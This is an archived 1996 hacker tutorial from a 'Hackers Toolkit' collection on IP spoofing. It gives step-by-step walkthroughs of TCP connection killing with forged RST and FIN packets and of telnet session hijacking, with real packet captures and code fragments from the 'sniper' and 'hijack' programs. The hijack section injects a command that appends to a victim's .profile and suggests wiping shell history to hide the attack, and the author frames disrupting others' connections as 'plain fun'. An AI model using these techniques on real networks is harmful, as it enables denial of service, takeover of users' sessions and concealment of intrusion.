home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Texts / ip-spoof.txt < prev    next >
Text File  |  1999-11-04  |  82KB  |  1,988 lines

  1.               -=[ A short overview of IP spoofing: PART I ]=-
  2.                     -=[ Part of 'The Packet Project']=-
  3.                                                   
  4.             (Includes Source for Linux 1.3.X and later kernels)
  5.     All text and Source code written by Brecht Claerhout (Copyright 1996)
  6.                  All source tested on Linux kernel 2.0.X  
  7.    All packet data captured with Sniffit 0.3.2 (a pre-release at that time)
  8. -------------------------------------------------------------------------------
  9.  
  10. PART I: Simple spoofing (Non blind) 
  11. -----------------------------------
  12.  
  13. 0. Introduction     
  14. 0.1 What
  15. 0.2 For whom
  16. 0.3 Disclaimer
  17. 0.4 Licence
  18.  
  19. 1. Short explanation of some words 
  20.  
  21. 2. Description of sourcecode
  22. 2.1 Source included
  23. 2.2 Programmer notes
  24.  
  25. 3. TCP/IP (UDP) in an hazelnutshell
  26.  
  27. 4. Non-blind spoofing
  28. 4.1 Know what you are doing
  29. 4.2 SYN flooding
  30. 4.3 Connection Killing 
  31. 4.3.1 Using reset (RST)
  32. 4.3.2 Closing a connection (FIN)
  33. 4.3.3 Improving
  34. 4.4 Connection Hijacking
  35. 4.5 Other
  36.  
  37. 5. The source code
  38.  
  39. -------------------------------------------------------------------------------
  40.                     PART I: Simple spoofing (Non blind)
  41. ------------------------------------------------------------------------------
  42.  
  43. 0. Introduction
  44. ---------------
  45.  
  46. 0.1 What
  47. --------
  48.  
  49. This document describes some IP spoofing attacks and gives you example 
  50. source code of the programs used for these attacks (and packet sniffer 
  51. logs, so you see what exactly happens).
  52. It also provides you with an easy to use include file for experimenting a 
  53. little yourself.
  54. Oh, if you make something nice with the "spoofit.h" file, please mail it to me
  55. (or a reference where it is available) with a little explanation on what it
  56. is (a few lines are enough)...
  57.  
  58. If you have interesting remarks, comment, idea's, ... please contact me
  59.     Brecht Claerhout <Coder@reptile.rug.ac.be>
  60.         PoBox 144
  61.         9000 Gent 12
  62.         Belgium
  63.  
  64. If YOU think of yourself, you are "3><Tr3/\/\3lY 3Le3T", please don't bother 
  65. contacting me. 
  66. Flames >/dev/null or >/dev/echo depends on how smart you are.
  67.  
  68. It is not wise to use what you don't know/understand, so read this before 
  69. trying anything... it will only take a few minutes, and probably save you 
  70. some hours of failure...
  71.  
  72. This code is not crippled in the usual way (removing some vital parts), 
  73. the power is limited by it's briefness, because I wanted to keep 
  74. everything simple and illustrative (but working). It's a simple job to 
  75. improve it, and that is the goal of this doc, that you improve it yourself.
  76.  
  77. Thanks too Wim Vandeputte for spellchecking, and putting up 
  78. with my constant nagging about IP during the writing of this sh!t...
  79.  
  80. 0.2 For whom
  81. ------------
  82.  
  83. For people with an elementary knowledge of TCP/IP, some knowledge on C (only 
  84. the basic setup) and some general UNIX knowledge.
  85. It's no use reading this document if you are completely unaware of these 
  86. things, but mind you, only a little knowledge is enough.
  87.  
  88. 0.3 Disclaimer
  89. --------------
  90.  
  91. I am in no way responsible for the use of this code. By using this 
  92. software and reading this document you accept the fact that any damage 
  93. (emotional, physical, dataloss and the end of the world as we know it ...) 
  94. caused by the use or storage of these programs/documents is not MY 
  95. responsability.
  96.  
  97. I state that during the writing and testing of this document/source, I 
  98. never violated any law. All spoofing was done between machines where I had 
  99. legit root access, or where I had the permission from the legit root.
  100.  
  101. This code can be written by any competent programmer, so this source is 
  102. not so harmfull as some will say (cauz' I'm sure some people won't like 
  103. this degree of disclosure).
  104.  
  105. 0.4 Licence
  106. -----------
  107.  
  108. All source code and text is freely available. You can spread it, as long 
  109. as you don't charge for it (exceptions are a small reproduction fee, if 
  110. it isn't spread together with commercial software, texts.)
  111. You may not spread parts of the document, it should be spread as one 
  112. package. You may not modify the text and/or source code. 
  113.  
  114. You can use the spoofit.h or derived code in your own programs as long as 
  115. they are not commercial (i.e. FREE), and you give me the credits for it.
  116.  
  117.  
  118. 1. Short explanation of some words 
  119. ----------------------------------
  120.  
  121. This is a short explanation of some words you might see in the 
  122. text/source. You probably know all this, but I put it in here anyway.
  123.  
  124. Sniffit
  125.   My favourite Packet Sniffer, all sniffed sequences in this 
  126.   document where created with it. Sniffit can be obtained from:
  127.   http://reptile.rug.ac.be/~coder/sniffit/sniffit.html
  128.   Off course any other decent sniffer will do (but this one wears my 
  129.   personal marks and approval).
  130.   (At time of writing a pre-release 0.3.2)
  131.  
  132. IP-spoofing (further referenced to as spoofing)
  133.   The forging of IP packets 
  134.   NOTE that not only IP based protocols are spoofed.
  135.   NOTE that spoofing is also used on a constructive base (LAN spoofing, 
  136.        not discussed here).
  137.   NOTE that I don't use it on a constructive base ;)
  138.  
  139. Non-blind spoofing
  140.   Using the spoofing to interfer with a connection that sends packets 
  141.   along your subnet (so generally one of the 2 hosts involved is located 
  142.   on your subnet, or all data traffic has to be passing your network 
  143.   device,... you might consider taking a job at some transatlantic route 
  144.   provider).
  145.  
  146. Blind spoofing
  147.   Using the spoofing to interfer with a connection (or creating one), 
  148.   that does not send packets along your cable. 
  149.  
  150.  
  151. 2. Description of sourcecode
  152. ----------------------------
  153.  
  154. 2.1 Source included
  155. -------------------
  156. spoofit.h
  157.   The include file that provides some easy to use spoofing functions.
  158.   To understand the include file and it's functions, read the header of 
  159.   that file for use of the C functions.
  160.  
  161. *.c
  162.   Example programs (on the use of spoofit.h) that are discussed in this 
  163.   document.
  164.   Details on these programs are included in the appropriate sections.
  165.  
  166. sniper-rst.c
  167.   Basic TCP connection killer.
  168.   (denial-of-services)
  169.  
  170. sniper-fin.c
  171.   Basic TCP connection killer.
  172.   (denial-of-services)
  173.  
  174. hijack.c
  175.   Simple automated telnet connection hijacker.
  176.  
  177. 2.2 Programmer notes
  178. --------------------
  179.  
  180. These programs are just examples. That means, they could be improved a 
  181. lot. Because I wanted to keep them short and leave some stuff to your 
  182. imagination, they are very simple.
  183. However they all work and are a good starting point.
  184.  
  185.  
  186. 3. TCP/IP (UDP) in an hazelnutshell
  187. -----------------------------------
  188.  
  189. Because it has been explained enough in 'Phrack Volume Seven, Issue 
  190. Forty-Eight, File 14 of 18' by daemon9/route/infinity , and there is a lot of 
  191. documentation available on the subject I will only repeat some things 
  192. very briefly. (Please read the phrack #48 file or any other document on 
  193. the subject before reading this).
  194.  
  195. A connection is fully defined with 4 parameters, a source host and port, 
  196. and a destination host and port.
  197.  
  198. When you make a connection, data is send in packets. Packets take care of 
  199. low level trafic, and make sure the data arrives (sometimes with special 
  200. error handling). The spine of most networks is the IP protocol version 4. 
  201. It is totally independent of all hardware protocols.
  202.  
  203. TCP and UDP are higher level protocols wrapped up in IP packets.
  204.  
  205. All those packets consist of a header and data.
  206.  
  207. IP header contains (amongst other things): IP of source and destination 
  208. hosts for that packet, and the protocol type of the packet wrapped up in 
  209. it. (TCP=6, UDP=17, etc.).
  210.  
  211. UDP packets contain (amongst other things): port number of source and 
  212. destination host. UDP has no such thing as SEQ/ACK, it is a very weak 
  213. protocol.
  214.  
  215. TCP packets contain (amongst other things): port number of source and 
  216. destination host, sequence and acknowledge numbers (further refered to as 
  217. SEQ/ACK), and a bunch of flags.
  218. SEQ number: is counted byte per byte, and gives you the number of the 
  219.             NEXT byte to be send, or that is send in this packet.
  220. ACK number: is the SEQ number that is expected from the other host.
  221. SEQ numbers are chosen at connection initiation.
  222.  
  223. I said is was going to be short... If you didn't understand the above 
  224. text, read up on it first, because you won't understand sh!t of the rest.
  225.  
  226.  
  227. 4. Non-blind spoofing
  228. ---------------------
  229.  
  230. 4.1 Know what you are doing
  231. ---------------------------
  232.  
  233. The concept of non-blind spoofing (NBS further in this doc) is pretty 
  234. simple. Because packets travel within your reach, you can get the current 
  235. sequence and acknowledge (SEQ/ACK further in this doc) numbers on the 
  236. connection. 
  237. NBS is thus a very easy and accurate method of attack, but limited to 
  238. connections going over your subnet. 
  239. In spoofing documentation these attacks are sometimes ommited, because 
  240. they are mostly 'denial-of-service' attacks, or because people don't 
  241. realise the advantage a spoof (in particulary a hijack) can have above 
  242. simple password sniffing.
  243.  
  244. Spoofing in generally is refered to as a verry high level of attack. This 
  245. refers to blind spoofing (BlS further in this doc), because NBS is 
  246. kidstuff for a competent coder.
  247.  
  248. 4.2 SYN flooding
  249. ----------------
  250.  
  251. Thoroughly discussed in 'Phrack Volume Seven, Issue Forty-Eight, File 13 of 
  252. 18'. I won't waste much time on it.
  253.  
  254. Setup:
  255.           host A <-----][----------X--------------->host B
  256.                                    | 
  257.           host S <-----------------/   
  258.  
  259. Concept:
  260. Host S impersonates SYN (connection init) coming from host A, to host B. 
  261. Host A should be unreachable (e.g. turned off, non existant,...).
  262. B sends out the second packet of the 3 way TCP handshake. Host B will now 
  263. wait for response of host A.
  264. If host A is reachable it will tell host B (with a reset: RST) that it DID NOT 
  265. inititate a connection, and thus host B received a bogus packet. (In that case
  266. host B will ingnore the SYN, and *normally* nothing will happen)
  267. So if A is unreachable, B will wait for response some time.
  268. When doing multiple attacks, the backlog of host B is going to be exceeded 
  269. and host B will not except new connections (read on TCP bugs for 
  270. additional features ;) for some time.
  271.  
  272. 4.3 Connection Killing
  273. ----------------------
  274.  
  275. Setup:
  276.           host A <------X------------------------->host B
  277.                         |      A,B have a TCP connection running
  278.           host S <------/      A,S on same subnet
  279.  
  280.           (setup is the same in both cases)
  281.  
  282. Use:
  283. Clearing mudders of your net, annoying that dude typing an important 
  284. paper, etc... plain fun.
  285.  
  286. 4.3.1 Using reset (RST)
  287. -----------------------
  288.  
  289. Concept:
  290. TCP packets have flags which indicate the status of the packet, like RST. 
  291. That is a flag used to reset a connection. To be accepted, only the 
  292. sequence number has to be correct (there is no ACK in a RST packet).
  293. So we are going to wait for packets in a connection between A and B. 
  294. Assume we wait for packets to A. We will calculate (from B's packets)
  295. the sequence number for A's packets (from B's ACK's), and fire a bogus RST 
  296. packet from S (faking to be A) to B.
  297.  
  298. An actual attack:
  299. (These are real sniffed packets, although IP numbers of hosts were changed)
  300. host A : 166.66.66.1
  301. host B : 111.11.11.11
  302. (S on same subnet as A)
  303.  
  304. (This is a good example of how things not always go as you want, see 
  305. below for a solution) 
  306. 1) connection running...
  307.    we wait for a packet to get current SEQ/ACK (A->B)
  308.  
  309. TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23
  310.    SEQ (hex): 57E1F2A6   ACK (hex): B8BD7679
  311.    FLAGS: -AP---   Window: 3400
  312.    (data removed because irrelevant, 2 bytes data)
  313.  
  314. 2) This is the ACK of it + included data (witch causes SEQ number to 
  315.    change, and thus messing up our scheme, because this came very fast.)
  316.    (B->A) 
  317.  
  318. TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
  319.    SEQ (hex): B8BD7679   ACK (hex): 57E1F2A8
  320.    FLAGS: -AP---   Window: 2238
  321.    (data removed because irrelevant, 2 bytes data)
  322.  
  323. 3) ACK of it. (A->B) 
  324.  
  325. TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23
  326.    SEQ (hex): 57E1F2A8   ACK (hex): B8BD767B
  327.    FLAGS: -A----   Window: 3400
  328.    (data removed because irrelevant)
  329.  
  330. 4) further data (B->A)
  331.  
  332. TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
  333.    SEQ (hex): B8BD767B   ACK (hex): 57E1F2A8
  334.    FLAGS: -AP---   Window: 2238
  335.    (data removed because irrelevant)
  336.  
  337. 5) ACK of it (A->B)
  338.  
  339. TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23
  340.    SEQ (hex): 57E1F2A8   ACK (hex): B8BD7691
  341.    FLAGS: -A----   Window: 3400
  342.  
  343. 6) Now we get 2 RST packets. How do you explain that? Well, the first reset 
  344.    packet has been buffered somewhere on our system, because the ethernet 
  345.    segment was busy when we wanted to send it. This is the 'unexpected 
  346.    thing' I discussed above, here we are lucky, the data stream cooled down 
  347.    so fast.
  348.    When it doesn't cool down so fast, we could miss our RST (or the 
  349.    connection will be killed a little later then when we wanted), you'll see 
  350.    some idea's on how to fix that problem.
  351.  
  352. TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
  353.    SEQ (hex): B8BD7679      FLAGS: ---R--
  354.  
  355.  
  356. TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
  357.    SEQ (hex): B8BD7691      FLAGS: ---R--
  358.    (This was the packet that killed the connection)
  359.  
  360. Discussion of the program:
  361.  
  362. The discussion here is a bit weird , that is because 'sniper-rst.c' is 
  363. not designed to be an optimal killer, merly to be an example.
  364. We have the problem of speed here. We miss some packets what causes those 
  365. resends. So we would design a better 'sniper' if we do the following:
  366.     - use blocking IO (not necessarilly, because the RST killer would 
  367.                           loose some of it's beauty (looping), this is dealt 
  368.                           with in the FIN killer example. Blocking is a 
  369.                           little faster when a lot of packets come after 
  370.                           each other.)
  371.         - multi-packet firing... fire more packets with incremented SEQ. 
  372.       (this is commented in the source) 
  373.         - waiting for a pure ACK packet (no data), because otherwise you 
  374.           risk to much of getting mid transmission and not being fast enough.
  375.           (disadvantage is the 'waiting period' before the connection is 
  376.           killed)         
  377.  
  378. NOTE these examples were done on non-loaded networks, with non-loaded 
  379.      servers, what makes it a worst case scenario for speed problems.
  380.  
  381. 4.3.2 Closing a connection (FIN)
  382. --------------------------------
  383.  
  384. Concept:
  385. An other flag is FIN and says: "no more data from sender".
  386. This flag is used when closing a connection down the normal legit way. So 
  387. if there was a way to make a packet that is accepted by one of the two 
  388. hosts, this host would believe the 'sender' didn't have any data left.
  389. Following (real) packets would be ignored as they are considered bogus.
  390. That's it, because we can sniff the current SEQ/ACK of the connection we 
  391. can pretend to be either host A or B, and provide the other host with 
  392. CORRECT packetinformation, and an evil FIN flag.
  393. The beauty of it all is, that after a FIN is send the other host always 
  394. replies with one if it is accepted, so we have a way to verify our 
  395. killing, and can be 100% sure of success (if for some reason we missed a 
  396. SEQ or ACK, we can just resend).
  397. RST killing is more popular and is prefered, but I've put this in as an 
  398. example, and I like it myself.
  399.  
  400.  
  401. An actual attack:
  402. (These are real sniffed packets, although IP numbers of hosts were changed)
  403. host A : 166.66.66.1
  404. host B : 111.11.11.11
  405. (S on same subnet as A)
  406.  
  407. 1) connection is running....
  408.    sniper is started on host S as 'sniper-fin 166.66.66.1 23 111.11.11.11 1072' 
  409.    and waits for a packet to take action (we need to get SEQ/ACK)
  410.    (mind you switching host A and B would be the same, only S would be 
  411.     impersonating A instead of B)
  412.    suddenly a packet arrives... (A->B)
  413.  
  414. TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
  415.    SEQ (hex): 19C6B98B   ACK (hex): 69C5473E
  416.    FLAGS: -AP---   Window: 3400
  417. Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
  418.  45 E 00 . 00 . 2A * 30 0 5E ^ 40 @ 00 . 40 @ 06 . 5E ^ AD . 9D . C1 . 45 E 33 3
  419.  9D . C1 . 2B + 0D . 00 . 17 . 04 . 30 0 19 . C6 . B9 . 8B . 69 i C5 . 47 G 3E >
  420.  50 P 18 . 34 4 00 . 3A : 61 a 00 . 00 . 0D . 0A .
  421.                                          ~~~~~~~~~ > 2 data bytes
  422.  
  423. 2) sniper detected it, and sends a bogus packet. (S as B -> A)
  424.    We calculate our SEQ as: ACK of (A->B) packet
  425.    We calculate our ACK as: SEQ of (A->B) packet + datalength of that packet
  426.                             (19C6B98B + 2 = 19C6B98D)
  427.    (so we tell A, we received the last packet, and will not transmit 
  428.    further data)
  429.  
  430. TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.1072-166.66.66.1.23
  431.    SEQ (hex): 69C5473E   ACK (hex): 19C6B98D
  432.    FLAGS: -A---F   Window: 7C00
  433.    (data removed because irrelevant)
  434.  
  435. 3) host A now says: 'okay, you end the session, so here is my last data'
  436.    (A->B)
  437.  
  438. TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
  439.    SEQ (hex): 19C6B98D   ACK (hex): 69C5473E
  440.    FLAGS: -AP---   Window: 3400
  441.    (data removed because irrelevant)
  442.  
  443. TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
  444.    SEQ (hex): 19C6B998   ACK (hex): 69C5473F
  445.    FLAGS: -A----   Window: 3400
  446.    (data removed because irrelevant)
  447.  
  448. 4) host A now has flushed its buffer and on his turn FIN's the connection.
  449.    (A->B)
  450.    sniper, intercepts this packet and now knows the hosts fell for the 
  451.    spoof and the killing was a success!
  452.    (host A will no longer accept any data)
  453.  
  454. TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
  455.    SEQ (hex): 19C6B998   ACK (hex): 69C5473F
  456.    FLAGS: -A---F   Window: 3400
  457.    (data removed because irrelevant)
  458.  
  459. 5) We impersonated B, making A believe we had no further data. But B 
  460.    doesn't know that and continues to send packets.
  461.    (B->A)
  462.    host A has that connection closed, and thus thinks the real packets of 
  463.    B are spoofed (or at least bogus)! So host A sends some reset packets 
  464.    (RST).
  465.  
  466. TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.1072-166.66.66.1.23
  467.    SEQ (hex): 69C5473E   ACK (hex): 19C6B98D
  468.    FLAGS: -A----   Window: 3750
  469.    (data removed because irrelevant)
  470.  
  471. TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
  472.    SEQ (hex): 19C6B98D      FLAGS: ---R--
  473.    (data removed because irrelevant)
  474.  
  475. 6) This goes on for a couple of packets.
  476.  
  477.  
  478. Discussion of the program (numbers correspond with those of 'An Actual 
  479. Attack'):
  480.  
  481. 1) stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,10);
  482.    if(stat==-1)  {printf("Connection 10 secs idle... timeout.\n");exit(1);}
  483.  
  484.    We use wait_packet on a non blocking socket. This way we can enable a 
  485.    10 seconds timeout. This functions returns when the correct packet 
  486.    has been delivered (or timeout).
  487.  
  488. 2) sp_seq=pinfo.ack;
  489.    sp_ack=pinfo.seq+pinfo.datalen;
  490.    transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,
  491.                               sp_seq,sp_ack,ACK|FIN);
  492.  
  493.    We calculate a spoofed SEQ/ACK, and fire off a fake FIN packet. As we 
  494.    don't send any data with it, our buffer is set to NULL and datalength 
  495.    to 0.
  496.    NOTE together with FIN, you need to enable ACK.
  497.  
  498. 3) N/A
  499.  
  500. 4) stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,FIN,5);
  501.    if(stat>=0)
  502.         {printf("Killed the connection...\n");
  503.         exit(0);}
  504.  
  505.    We wait for a FIN packet (note the FIN in wait_packet). We use a 5 
  506.    sec. timeout, if the function returns and stat>=0 (-1 on timeout), we 
  507.    know our attempt was successfull.
  508.  
  509. 5) N/A
  510.  
  511. 6) N/A
  512.  
  513. NOTE We can have the same problem here as with the RST killer. But didn't 
  514.      have it here, because the packet we responded upon was the end of a 
  515.      data stream (in fact it was an echo from a shell command)
  516.  
  517. 4.3.3 Improving 
  518. ---------------
  519.  
  520. Except from multipacket firing, it is advised to launch 2 attacks (one in 
  521. both ways). This illiminates one side oriented connections to be handled 
  522. optimally. I think of things like downloading data, which is a one way 
  523. data-flow, it is much easier sending a RST from the (spoofed) receiver to 
  524. the sender, then the other way around.
  525. Those 2 attacks could both impersonate host A and B, and thus giving is 4 
  526. times more chance of a succesfull kill.
  527. I'll leave further experimenting up to you (use your imagination to handle 
  528. different situations).
  529.  
  530. 4.4 Connection Hijacking
  531. ------------------------
  532. Setup:
  533.           host A <------X------------------------->host B
  534.                         |      A,B have a TCP connection running (TELNET)
  535.           host S <------/      A,S on same subnet
  536.  
  537. Concept:
  538. (suppose a TELNET from A (client) to B (server))
  539. TCP separates good and bogus packets by their SEQ/ACK numbers i.e. B 
  540. trusts the packets from A because of its correct SEQ/ACK numbers. 
  541. So if there was a way to mess up A's SEQ/ACK, B would stop believing A's 
  542. real packets.
  543. We could then impersonate to be A, but using correct SEQ/ACK numbers 
  544. (that is numbers correct for B).
  545. We would now have taken over the connection (host A is confused, B thinks 
  546. nothings wrong (almost correct, see 'actual attack'), and S sends 
  547. 'correct' data to B). 
  548. This is called 'Hijacking' a connection. (generally hijacking a TELNET session,
  549. but same could be done woth FTP, RLOGIN, etc...)
  550. How could we mess up A's SEQ/ACK numbers? Well by simply inserting a data 
  551. packet into the stream at the right time (S as A->B), the server B would 
  552. accept this data, and update ACK numbers, A would continue to send 
  553. it's old SEQ numbers, as it's unaware of our spoofed data. 
  554.  
  555. Use: 
  556. I allready hear you wiseguys yelling: "Hey dude, why hijack a connection 
  557. if you can sniff those packets anyway??"
  558. Well, anybody heared of One Time Passwords, Secure Key?? Case closed.... 
  559. (S/Key: server challenges client, client and server calculate a code from 
  560. the challenge and password, and compare that code. The password itself is 
  561. never send on the cable, so you can't sniff sh!t).
  562. (OTP: server has a list of passwords, once one is used, it is destroyed, 
  563. so sniffing gets you a password that has 'just' expired ;)
  564. (ALL types of identification that happen at connection (encrypted or not, 
  565. trusted or not), and don't use encrypted data transfer, are vulnerable to 
  566. 'hijacking'.)
  567.  
  568. An actual attack:
  569. (These are real sniffed packets, although IP numbers of hosts were changed)
  570. (suppose a TELNET from A (client) to B (server))
  571. host A : 166.66.66.1
  572. host B : 111.11.11.11
  573. (S on same subnet as A)
  574.  
  575. 1) connection running... 
  576.    we look with sniffit, and see he's busy in a shell, we start 'hijack' 
  577.    on host S as 'hijack 166.66.66.1 2035 111.11.11.11'
  578.    a packet containing from (A->B) is detected... hijack takes action...
  579.    (A->B)
  580.  
  581. TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
  582.    SEQ (hex): 5C8223EA   ACK (hex): C34A67F6
  583.    FLAGS: -AP---   Window: 7C00
  584. Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
  585.  45 E 00 . 00 . 29 ) CA . F3 . 40 @ 00 . 40 @ 06 . C5 . 0E . 9D . C1 . 45 E 3F ?
  586.  9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EA . C3 . 4A J 67 g F6 .
  587.  50 P 18 . 7C | 00 . 6D m 29 ) 00 . 00 . 6C l
  588.                                          ~~~~
  589.  
  590. 2) host B (server) echo's that databyte (typing 'l' in a bash shell!!!)
  591.    (you gotta know what you are doing)
  592.    (B->A)   
  593.  
  594. TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
  595.    SEQ (hex): C34A67F6   ACK (hex): 5C8223EB
  596.    FLAGS: -AP---   Window: 2238
  597. Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
  598.  45 E 00 . 00 . 29 ) B5 . BD . 40 @ 00 . FC . 06 . 1E . 44 D 9D . C1 . 2A * 0B .
  599.  9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F6 . 5C \ 82 . 23 # EB .
  600.  50 P 18 . 22 " 38 8 C6 . F0 . 00 . 00 . 6C l
  601.                                          ~~~~
  602.  
  603. 3) A simple ACK from host A to B responding to that echo. Because we know 
  604.    this can come, and we know a simple ACK doesn't contain data, we don't 
  605.    need this for SEQ/ACK calculation.
  606.  
  607. TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
  608.    SEQ (hex): 5C8223EB   ACK (hex): C34A67F7
  609.    FLAGS: -A----   Window: 7C00
  610.    (data removed because irrelevant)
  611.  
  612. 4) Now we impersonate further data (following packet 1). (S as A -> B)
  613.    We calculate SEQ/ACK out of packet 1, NOT out of the 'echo' from B, 
  614.    because we have to be as fast as possible, and packet 2 could be slow.
  615.    We send some backspaces and some enters. To clean up the command line.
  616.    We will probably still get some error message back from the shell.
  617.    But we handle that too! (see sourcecode)
  618.  
  619. TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
  620.    SEQ (hex): 5C8223EB   ACK (hex): C34A67F6
  621.    FLAGS: -AP---   Window: 7C00
  622. Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
  623.  45 E 00 . 00 . 32 2 31 1 01 . 00 . 00 . 45 E 06 . 99 . F8 . 9D . C1 . 45 E 3F ?
  624.  9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EB . C3 . 4A J 67 g F6 .
  625.  50 P 18 . 7C | 00 . AE . F5 . 00 . 00 . 08 . 08 . 08 . 08 . 08 . 08 . 08 . 08 .
  626.  0A . 0A .
  627.  
  628. 5) This is the echo of our spoofed data. Look at ACK. (B->A)
  629.    5C8223F5 = 5C8223EB + 0A (this is how we detect that the spoof was a 
  630.    success)   
  631.    NOTE that at this point the connection is ours, and A's SEQ/ACK 
  632.         numbers are completely f#cked up according to B.   
  633.  
  634. TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
  635.    SEQ (hex): C34A67F7   ACK (hex): 5C8223F5
  636.    FLAGS: -AP---   Window: 2238
  637. Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
  638.  45 E 00 . 00 . 3C < B5 . BE . 40 @ 00 . FC . 06 . 1E . 30 0 9D . C1 . 2A * 0B .
  639.  9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F7 . 5C \ 82 . 23 # F5 .
  640.  50 P 18 . 22 " 38 8 26 & 7C | 00 . 00 . 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H
  641.  5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 0D . 0A . 0D . 0A .
  642.  
  643. 6) Hijack will now try to get on track of SEQ/ACK numbers again, to send 
  644.    the data we want to be executed.
  645.    NOTE each time a packet 'out of numbering' arrives the host should 
  646.         answer with correct SEQ/ACK, this provides us with the certainty 
  647.         that a lot of packets are going to be send with correct (and not 
  648.         changing) SEQ/ACK nrs. (this is where the mechanism of getting our 
  649.         numbers back straight is based upon) 
  650.    NOTE it's at this point the real TELNET client's session hangs, most 
  651.         people ignore this and re-login after a few secs, accepting the 
  652.         accident as Murphy's law.
  653.         (Well it *can* happen without any spoofing involved)
  654.  
  655. TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
  656.    SEQ (hex): 5C8223EB   ACK (hex): C34A67F7
  657.    FLAGS: -AP---   Window: 7C00
  658.    (data removed because irrelevant)
  659.  
  660.  
  661. TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
  662.    SEQ (hex): C34A680B   ACK (hex): 5C8223F5
  663.    FLAGS: -A----   Window: 2238
  664.    (data removed because irrelevant)
  665.  
  666.  
  667. TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-157.193.42.11.23
  668.    SEQ (hex): 5C8223EB   ACK (hex): C34A67F7
  669.    FLAGS: -AP---   Window: 7C00
  670.    (data removed because irrelevant)
  671.  
  672.  
  673. TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
  674.    SEQ (hex): C34A680B   ACK (hex): 5C8223F5
  675.    FLAGS: -A----   Window: 2238
  676.    (data removed because irrelevant)
  677.  
  678. 7) We are back on track (or at least hijack is, because this is going 
  679.    very fast). And we fire off our faked bash command.
  680.  
  681.     echo "echo HACKED" >> $HOME/.profile<ENTER>
  682.  
  683. TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
  684.    SEQ (hex): 5C8223F5   ACK (hex): C34A680B
  685.    FLAGS: -AP---   Window: 7C00
  686. Packet ID (from_IP.port-to_IP.port): 166.66.66.1-111.11.11.11.23
  687.  45 E 00 . 00 . 4D M 31 1 01 . 00 . 00 . 45 E 06 . 99 . DD . 9D . C1 . 45 E 3F ?
  688.  9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # F5 . C3 . 4A J 68 h 0B .
  689.  50 P 18 . 7C | 00 . 5A Z B6 . 00 . 00 . 65 e 63 c 68 h 6F o 20   22 " 65 e 63 c
  690.  68 h 6F o 20   48 H 41 A 43 C 4B K 45 E 44 D 22 " 20   3E > 3E > 24 $ 48 H 4F O
  691.  4D M 45 E 2F / 2E . 70 p 72 r 6F o 66 f 69 i 6C l 65 e 0A . 00 .
  692.  
  693. 8) now we wait for this data to be confirmed.
  694.    ACK = 5C8223F5 + 025 (=37 bytes)
  695.  
  696. TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
  697.    SEQ (hex): C34A680B   ACK (hex): 5C82241A
  698.    FLAGS: -AP---   Window: 2238
  699. Packet ID (from_IP.port-to_IP.port): 157.193.42.11.23-157.193.69.63.1040
  700.    (data removed because irrelevant)
  701.  
  702. 9) The connection runs on. Now you can execute more commands (just stay 
  703.    on track of SEQ/ACK), and even finnish the connection (with the same  
  704.    mechanism of sniper, or with sniper itself... here FIN is recommended).
  705.    NOTE: here it is important to be in a shell. But if you have been 
  706.          watching someone, and you notice he's always directly going to 
  707.          'pine' and you can't get inbetween on time.
  708.          NO PROBS.... just make a cleanup string that cleans up 
  709.          'pine' and puts you back in the shell. (some control chars, 
  710.          hotkeys, whatever....)
  711.    NOTE: if you clean up the .sh_history of .bash_history (whatever) this 
  712.          attack is one of the nicest there is. Another advantage above 
  713.          sniffing.
